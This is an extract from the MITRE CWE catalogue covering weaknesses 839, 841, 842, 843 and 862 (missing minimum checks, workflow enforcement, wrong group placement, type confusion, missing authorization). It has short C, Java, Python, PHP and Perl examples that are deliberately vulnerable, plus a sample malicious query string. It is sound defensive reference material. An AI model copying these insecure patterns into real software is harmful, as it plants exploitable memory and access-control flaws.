[REF-709]Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". 2007. Syngress.

[REF-725]OWASP. "DOM based XSS Prevention Cheat Sheet". < http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

CWE-839: Numeric Range Comparison Without Minimum Check

Weakness ID : 839 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program checks a value to ensure that it is less than or equal to a maximum, but it does not also verify that the value is greater than or equal to the minimum.

Extended Description

Some programs use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used

for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption.

The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1023	Incomplete Comparison with Missing Factors	1635
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
CanPrecede	B	124	Buffer Underwrite ('Buffer Underflow')	298
CanPrecede	V	195	Signed to Unsigned Conversion Error	457
CanPrecede	P	682	Incorrect Calculation	1326

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	1852

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Alternate Terms

Signed comparison : The "signed comparison" term is often used to describe when the program uses a signed variable and checks it to ensure that it is less than a maximum value (typically a maximum buffer size), but does not verify that it is greater than 0.

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Modify Application Data Execute Unauthorized Code or Commands *An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.*	
Availability	DoS: Resource Consumption (Other) *in some contexts, a negative value could lead to resource consumption.*	
Confidentiality Integrity	Modify Memory Read Memory *If a negative value is used to access memory, buffers, or other indexable structures, it could access memory outside the bounds of the buffer.*	

Potential Mitigations

Phase: Implementation

Strategy = Enforcement by Conversion

If the number to be used is always expected to be positive, change the variable type from signed to unsigned or size_t.

Phase: Implementation

Strategy = Input Validation

If the number to be used could have a negative value based on the specification (thus requiring a signed value), but the number should only be positive to preserve code correctness, then include a check to ensure that the value is positive.

Demonstrative Examples

Example 1:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

Example Language: C *(bad)*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 2:

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

Example Language: C *(bad)*

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
```

```
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!\n");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
    printf("i=%d, s=%d, sz=%u\n", i, s, sz);
    input = GetUserInput("Enter pathname:");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
    (CWE-195), enabling buffer overflow (CWE-119) */
    strncpy(path, input, s);
    path[255] = '\0'; /* don't want CWE-170 */
    printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

Example 3:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

Example Language: C *(bad)*

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C *(good)*

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...
```

Example 4:

The following code shows a simple BankAccount class with deposit and withdraw methods.

Example Language: Java *(bad)*

```
public class BankAccount {
    public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
    // variable for bank account balance
    private double accountBalance;
    // constructor for BankAccount
    public BankAccount() {
        accountBalance = 0;
    }
    // method to deposit amount into BankAccount
    public void deposit(double depositAmount) {...}
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT) {
            double newBalance = accountBalance - withdrawAmount;
            accountBalance = newBalance;
        }
        else {
            System.err.println("Withdrawal amount exceeds the maximum limit allowed, please try again...");
            ...
        }
    }
    // other methods for accessing the BankAccount object
    ...
}
```

The withdraw method includes a check to ensure that the withdrawal amount does not exceed the maximum limit allowed, however the method does not check to ensure that the withdrawal amount is greater than a minimum value (CWE-129). Performing a range check on a value that does not include a minimum check can have significant security implications, in this case not including a minimum range check can allow a negative value to be used which would cause the financial application using this class to deposit money into the user account rather than withdrawing. In this example the if statement should the modified to include a minimum range check, as shown below.

Example Language: Java *(good)*

```
public class BankAccount {
    public final int MINIMUM_WITHDRAWAL_LIMIT = 0;
    public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
    ...
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT &&
        withdrawAmount > MINIMUM_WITHDRAWAL_LIMIT) {
            ...
```

Note that this example does not protect against concurrent access to the BankAccount balance variable, see CWE-413 and CWE-362.

While it is out of scope for this example, note that the use of doubles or floats in financial calculations may be subject to certain kinds of attacks where attackers use rounding errors to steal money.

Observed Examples

Reference	Description
CVE-2010-1866	Chain: integer overflow causes a negative signed value, which later bypasses a maximum-only check, leading to heap-based buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1866*
CVE-2009-1099	Chain: 16-bit counter can be interpreted as a negative value, compared to a 32-bit maximum value, leading to buffer under-write. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1099*

Reference	Description
CVE-2011-0521	Chain: kernel's lack of a check for a negative value leads to memory corruption. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0521*
CVE-2010-3704	Chain: parser uses atoi() but does not check for a negative value, which can happen on some platforms, leading to buffer under-write. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3704*
CVE-2010-2530	Chain: Negative value stored in an int bypasses a size check and causes allocation of large amounts of memory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2530*
CVE-2009-3080	Chain: negative offset value to IOCTL bypasses check for maximum index, then used as an array index for buffer under-read. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3080*
CVE-2008-6393	chain: file transfer client performs signed comparison, leading to integer overflow and heap-based buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6393*
CVE-2008-4558	chain: negative ID in media player bypasses check for maximum index, then used as an array index for buffer under-read. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4558*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-841: Improper Enforcement of Behavioral Workflow

Weakness ID : 841 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.

Extended Description

By performing actions in an unexpected order, or by omitting steps, an attacker could manipulate the business logic of the software or cause it to enter an invalid state. In some cases, this can also expose resultant weaknesses.

For example, a file-sharing protocol might require that an actor perform separate steps to provide a username, then a password, before being able to transfer files. If the file-sharing server accepts a password command followed by a transfer command, without any username being provided, the software might still perform the transfer.

Note that this is different than CWE-696, which focuses on when the software performs actions in the wrong sequence; this entry is closely related, but it is focused on ensuring that the actor performs actions in the correct sequence.

Workflow-related behaviors include:

- Steps are performed in the expected order.
- Required steps are not omitted.
- Steps are not interrupted.
- Steps are performed in a timely fashion.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1217	User Session Errors	2016
MemberOf	C	438	Behavioral Problems	1867
MemberOf	C	840	Business Logic Errors	1900

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic *An attacker could cause the software to skip critical steps or perform them in the wrong order, bypassing its intended business logic. This can sometimes have security implications.*	

Demonstrative Examples

Example 1:

This code is part of an FTP server and deals with various commands that could be sent by a user. It is intended that a user must successfully login before performing any other action such as retrieving or listing files.

Example Language: Python *(bad)*

```
def dispatchCommand(command, user, args):
    if command == 'Login':
        loginUser(args)
        return
    # user has requested a file
    if command == 'Retrieve_file':
        if authenticated(user) and ownsFile(user,args):
        sendFile(args)
        return
    if command == 'List_files':
```

```
    listFiles(args)
    return
...
```

The server correctly does not send files to a user that isn't logged in and doesnt own the file. However, the server will incorrectly list the files in any directory without confirming the command came from an authenticated user, and that the user is authorized to see the directory's contents.

Here is a fixed version of the above example:

Example Language: Python *(good)*

```
def dispatchCommand(command, user, args):
  ...
  if command == 'List_files':
    if authenticated(user) and ownsDirectory(user,args):
      listFiles(args)
      return
  ...
```

Observed Examples

Reference	Description
CVE-2011-0348	Bypass of access/billing restrictions by sending traffic to an unrestricted destination before sending to a restricted destination. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0348*
CVE-2007-3012	Attacker can access portions of a restricted page by canceling out of a dialog. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3012*
CVE-2009-5056	Ticket-tracking system does not enforce a permission setting. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-5056*
CVE-2004-2164	Shopping cart does not close a database connection when user restores a previous order, leading to connection exhaustion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2164*
CVE-2003-0777	Chain: product does not properly handle dropped connections, leading to missing NULL terminator (CWE-170) and segmentation fault. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0777*
CVE-2005-3327	Chain: Authentication bypass by skipping the first startup step as required by the protocol. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3327*
CVE-2004-0829	Chain: File server crashes when sent a "find next" request without an initial "find first." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0829*
CVE-2010-2620	FTP server allows remote attackers to bypass authentication by sending (1) LIST, (2) RETR, (3) STOR, or other commands without performing the required login steps first. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2620*
CVE-2005-3296	FTP server allows remote attackers to list arbitrary directories as root by running the LIST command before logging in. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3296*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	V	884	CWE Cross-section	884	2037

Notes

Research Gap

This weakness is typically associated with business logic flaws, except when it produces resultant weaknesses. The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles. Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	40		Insufficient Process Validation

References

[REF-795]Jeremiah Grossman. "Business Logic Flaws and Yahoo Games". 2006 December 8. < http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html >.

[REF-796]Jeremiah Grossman. "Seven Business Logic Flaws That Put Your Website At Risk". 2007 October. < http://www.whitehatsec.com/home/assets/WP_bizlogic092407.pdf >.

[REF-797]WhiteHat Security. "Business Logic Flaws". < http://www.whitehatsec.com/home/solutions/BL_auction.html >.

[REF-806]WASC. "Insufficient Process Validation". < http://projects.webappsec.org/w/page/13246943/Insufficient-Process-Validation >.

[REF-799]Rafal Los and Prajakta Jagdale. "Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic". 2011. < http://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation >.

[REF-667]Rafal Los. "Real-Life Example of a 'Business Logic Defect' (Screen Shots!)". 2011. < http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581 >.

[REF-801]Viktoria Felmetsger, Ludovico Cavedon, Christopher Kruegel and Giovanni Vigna. "Toward Automated Detection of Logic Vulnerabilities in Web Applications". USENIX Security Symposium 2010. 2010 August. < http://www.usenix.org/events/sec10/tech/full_papers/Felmetsger.pdf >.

[REF-802]Faisal Nabi. "Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems". International Journal of Network Security, Vol.12, No.1. 2011. < http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf >.

CWE-842: Placement of User into Incorrect Group

Weakness ID : 842 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software or the administrator places a user into an incorrect group.

Extended Description

If the incorrect group has more access or privileges than the intended group, the user might be able to bypass intended security policy to access unexpected resources or perform unexpected actions. The access-control system might not be able to detect malicious usage of this group membership.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		286	Incorrect User Management	629

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Observed Examples

Reference	Description
CVE-1999-1193	Operating system assigns user to privileged wheel group, allowing the user to gain root privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1193*
CVE-2010-3716	Chain: drafted web request allows the creation of users with arbitrary group membership. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3716*
CVE-2008-5397	Chain: improper processing of configuration options causes users to contain unintended group memberships. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5397*
CVE-2007-6644	CMS does not prevent remote administrators from promoting other users to the administrator group, in violation of the intended security model. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6644*
CVE-2007-3260	Product assigns members to the root group, allowing escalation of privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3260*
CVE-2002-0080	Chain: daemon does not properly clear groups before dropping privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0080*

CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')

Weakness ID : 843 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Extended Description

When the program accesses the resource using an incompatible type, this could trigger logical errors because the resource does not have expected properties. In languages without memory safety, such as C and C++, type confusion can lead to out-of-bounds memory access.

While this weakness is frequently associated with unions when parsing data with many different embedded object types in C, it can be present in any application that can interpret the same variable or memory location in multiple ways.

This weakness is not unique to C and C++. For example, errors in PHP applications can be triggered by providing array parameters when scalars are expected, or vice versa. Languages such as Perl, which perform automatic conversion of a variable of one type when it is accessed as if it were another type, can also contain these issues.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	704	Incorrect Type Conversion or Cast	1357
PeerOf	B	1287	Improper Validation of Specified Type of Input	1844
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	704	Incorrect Type Conversion or Cast	1357

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	136	Type Errors	1850

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Alternate Terms

Object Type Confusion :

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Confidentiality	Read Memory Modify Memory Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart *When a memory buffer is accessed using the wrong type, it could read or write memory out of the bounds of the buffer, if the allocated buffer is smaller than the type that the code is attempting to access, leading to a crash and possibly code execution.*	

Demonstrative Examples

Example 1:

The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.

Example Language: C *(bad)*

```
#define NAME_TYPE 1
#define ID_TYPE 2
struct MessageBuffer
{
    int msgType;
    union {
        char *name;
        int nameID;
    };
};
int main (int argc, char **argv) {
    struct MessageBuffer buf;
    char *defaultMessage = "Hello World";
    buf.msgType = NAME_TYPE;
    buf.name = defaultMessage;
    printf("Pointer of buf.name is %p\n", buf.name);
    /* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it
    could be any value. */
    buf.nameID = (int)(defaultMessage + 1);
    printf("Pointer of buf.name is now %p\n", buf.name);
    if (buf.msgType == NAME_TYPE) {
        printf("Message: %s\n", buf.name);
    }
    else {
        printf("Message: Use ID %d\n", buf.nameID);
    }
}
```

The code intends to process the message as a NAME_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.

As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.

Execution of the program might generate output such as:

Pointer of name is 10830
Pointer of name is now 10831
Message: ello World

Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.

In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.

Example 2:

The following PHP code accepts a value, adds 5, and prints the sum.

Example Language: PHP *(bad)*

```
$value = $_GET['value'];
$sum = $value + 5;
echo "value parameter is '$value'<p>";
echo "SUM is $sum";
```

When called with the following query string:

value=123

the program calculates the sum and prints out:

SUM is 128

However, the attacker could supply a query string such as:

value[]=123

The "[]" array syntax causes $value to be treated as an array type, which then generates a fatal error when calculating $sum:

Fatal error: Unsupported operand types in program.php on line 2

Example 3:

The following Perl code is intended to look up the privileges for user ID's between 0 and 3, by performing an access of the $UserPrivilegeArray reference. It is expected that only userID 3 is an admin (since this is listed in the third element of the array).

Example Language: Perl *(bad)*

```
my $UserPrivilegeArray = ["user", "user", "admin", "user"];
my $userID = get_current_user_ID();
if ($UserPrivilegeArray eq "user") {
    print "Regular user!\n";
}
else {
    print "Admin!\n";
}
print "\$UserPrivilegeArray = $UserPrivilegeArray\n";
```

In this case, the programmer intended to use "$UserPrivilegeArray->{$userID}" to access the proper position in the array. But because the subscript was omitted, the "user" string was compared to the scalar representation of the $UserPrivilegeArray reference, which might be of the form "ARRAY(0x229e8)" or similar.

Since the logic also "fails open" (CWE-636), the result of this bug is that all users are assigned administrator privileges.

While this is a forced example, it demonstrates how type confusion can have security consequences, even in memory-safe languages.

Observed Examples

Reference	Description
CVE-2010-4577	Type confusion in CSS sequence leads to out-of-bounds read. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4577*
CVE-2011-0611	Size inconsistency allows code execution, first discovered when it was actively exploited in-the-wild. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0611*
CVE-2010-0258	Improperly-parsed file containing records of different types leads to code execution when a memory location is interpreted as a different object than intended. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0258*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	1995

Notes

Applicable Platform

This weakness is possible in any type-unsafe programming language.

Research Gap

Type confusion weaknesses have received some attention by applied researchers and major software vendors for C and C++ code. Some publicly-reported vulnerabilities probably have type confusion as a root-cause weakness, but these may be described as "memory corruption" instead. This weakness seems likely to gain prominence in upcoming years. For other languages, there are very few public reports of type confusion weaknesses. These are probably under-studied. Since many programs rely directly or indirectly on loose typing, a potential "type confusion" behavior might be intentional, possibly requiring more manual analysis.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP39-C	Exact	Do not access a variable through a pointer of an incompatible type

References

[REF-811]Mark Dowd, Ryan Smith and David Dewey. "Attacking Interoperability". 2009. < http://www.azimuthsecurity.com/resources/bh2009_dowd_smith_dewey.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-862: Missing Authorization

Weakness ID : 862 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not perform an authorization check when an actor attempts to access a resource or perform an action.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	285	Improper Authorization	623
ParentOf	B	425	Direct Request ('Forced Browsing')	915

Nature	Type	ID	Name	Page
ParentOf	C	638	Not Using Complete Mediation	1249
ParentOf	B	939	Improper Authorization in Handler for Custom URL Scheme	1614

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	425	Direct Request ('Forced Browsing')	915

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Often)*

Technology : Database Server *(Prevalence = Often)*

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

Alternate Terms

AuthZ : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *An attacker could read sensitive data, either by reading the data directly from a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to read the data.*	
Integrity	Modify Application Data Modify Files or Directories *An attacker could modify sensitive data, either by writing the data directly to a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to write the data.*	
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Scope	Impact	Likelihood
	An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.	

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness = Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness = Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phase: System Configuration

Phase: Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

